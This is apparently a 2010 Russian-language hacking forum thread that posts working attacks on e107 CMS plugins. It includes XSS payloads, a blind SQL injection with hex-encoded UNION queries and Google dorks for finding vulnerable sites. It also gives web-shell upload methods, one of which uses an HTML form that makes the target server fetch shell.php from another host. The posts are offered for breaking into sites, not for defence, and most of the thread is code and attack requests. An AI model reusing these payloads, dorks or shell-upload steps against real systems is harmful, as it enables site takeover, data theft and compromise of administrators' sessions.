} else {......$split = explode("[||]",$row['user_custompage']);
if ($split[0] == "0019283") {
$array = Array();
$array['Mood'] = $split[1];
$array['Status'] = $split[2];
$array['Orientation'] = $split[3];
$array['Hometown'] = $split[4];
$array['Ethnicity'] = $split[5];
$array['Occupation'] = $split[6];
$array['Music'] = $split[7];
$array['Films/Television'] = $split[8];
$array['Favourite_Books'] = $split[9];
$array['aboutme'] = $split[10];
$db = serialize($array);
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_custompage='".$db."', user_simple='1' WHERE user_id=".$row['user_id']." ");
unset($array);
$count++;
echo "Updated user #".$row['user_id']."<br/>";
} else {
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_simple='0' WHERE user_id=".$row['user_id']." ");
}...
Результат:
passive XSS
http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1&count=<script>alert(123)</script>


blind SQL inj
чтоб крутить в результат первого запроса надо впихнуть:0019283[||], ну понятно лучше захексить, чтоб обойти кавычки ):

Пусть 5 вертка

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=5
A total of 1 profiles have been upgraded - true

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=4
A total of 0 profiles have been upgraded - false

плюс - никаких условий

Strilo4ka
06.05.2010, 01:45
гугл- inurl:e107_plugins/rank_system/recommend.php

target: http://[host]/[path]/e107_plugins/rank_system/recommend.php

passive XSS
/e107_plugins/rank_system/recommend.php
...$recomm = new recommend();

if (isset($_POST['nextstep']) )
{
$recomm_action = $_POST['recomm_action'];
} else {
$recomm_action = "";
}.......else if ($recomm_action == 'submit') {
$type = intval($_POST['recomm_type']);
$target = intval($_POST['recomm_target']);
$t_name = $_POST['t_name'];
$r_for = intval($_POST['recomm_for']);
$r_remarks = $tp->toDB($_POST['recomm_remarks']);

if ($recomm->submitRecomm($target, $type, $r_for, $r_remarks)) {
$msg = RANKS_RM_11;
} else {
$msg = RANKS_RM_12;
}

$rank_text .= '
<table class="rsborder" style="' . USER_WIDTH . '">
<tr>
<td class="rscaption" style="text-align:left">' . RANKS_RM_01 . ' [' . $t_name .']</td>...Результат (установить постом!):
nextstep = любое зн.
recomm_action=submit
t_name= xss

ps
сработает тока у авторизированого!

Strilo4ka
06.05.2010, 02:15
TiltViewer v1.2 by The_Death_Raw
Если уставновлен,то повезло. скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?cat.15#)

Заливаем шельца!
гугл- inurl:e107_plugins/tiltviewer
http://[host]/[path]/e107_plugins/tiltviewer/gestion_fichiers.php
...// fonction upload
foreach ($_FILES["filez"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["filez"]["tmp_name"][$key];
$name = $_FILES["filez"]["name"][$key];
move_uploaded_file($tmp_name, "./uploads/$name");

Header("Location: ".$_SERVER['PHP_SELF']."");

}...Выбираем наш шелл и Send the files
http://[host]/[path]/e107_plugins/tiltviewer/uploads/name_our_shell.php

ps заходил под админом и тогда лил, хоть и нужны права но мб пригодиться ;)

др. способы заливки (http://forum.antichat.ru/showpost.php?p=2119209&postcount=123)

Strilo4ka
06.05.2010, 05:04
FileDownload Advanced v2.0 by The Hunter
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.152#)
гугл- inurl:e107_plugins/FileDownload

http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php
require_once("config.php");
require_once("functions.php");

if ($_GET["dir"])
$dir = $_GET["dir"];
else
$dir = $_POST["dir"];

if ($_POST["numfiles"])
$numfiles = $_POST["numfiles"];
else
$numfiles = 4;

if ((isset($_POST["hide"])) and (isset($dir)))
{
for ($x = 1; $_POST["file".$x]; $x++)
{
$file = $_POST["file".$x];
$copy = copy($file,$dir."/".getFileName($file));
$upload_ok .= "<tr><td style='width:100%' colspan=8 class='header2'>Uploaded:" . getFileName($file) . " successfully.</td></tr>";
}
}./config.php
//$expPrefPass='';
$expBaseDir='../';
$expSortOrder=0;
$expDisplaySearch...
Как видно первая строка закоментирована.
..../functions
require_once("config.php");

if (isset($_COOKIE["phpFileDownload_login"]))
if ($_COOKIE["phpFileDownload_login"] != $expPrefPass)
header ("location: login.php");...
И посему нет никакой переадресации если куки не устанавливать. ):
...function getFileName ($file)
{
$strlen = strlen($file);
$retfile = "";
while ($strlen > 0)
{
$_g = substr(substr($file, $strlen, strlen($file)), 0, 1);
if (($_g == "\\") or ($_g == "/"))
break;

$retfile = substr($file, $strlen, strlen($file));
$strlen = $strlen-1;
}
return $retfile;
}...Результат:
Функция copy
Замечание: Начиная с PHP версии 4.3.0, оба параметра, source и dest, могут быть URL'ами, если были включены "упаковщики fopen"Заливаем на хостинг шелл или с своего розшареного.

Посылаем запрос:
<form action="http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php" method=post>
<input type=hidden name=hide value=0><br>
<input type=text name="file1" value='http://[host2]/[path]/shell.php'><br>
<input type=text name=dir value=log><br>
<input type=submit>
</form>

Наш шелл:
http://[host]/[path]/FileDownload/filedownload/log/shell.php

ps др. способы заливки (http://forum.antichat.ru/showpost.php?p=2119209&postcount=123)

ReckouNT
28.05.2010, 16:05
Подскажите уязвимости в ядре 0.7.17, с этой версии были выпущены заплатки на какие то уязвимости - (хз на какие)
Через плагины поломать невозможно, т.к. из плагинов юзается лишь guestbook.

Nightmarе
28.05.2010, 16:42
Подскажите уязвимости в ядре 0.7.17, с этой версии были выпущены заплатки на какие то уязвимости - (хз на какие)
Через плагины поломать невозможно, т.к. из плагинов юзается лишь guestbook.
И гостевуха уязвимая, ette находил активную XSS, а в случае с e107 где в плюшках лежит хеш, да и на админку пароля вроде как нет, это фатально.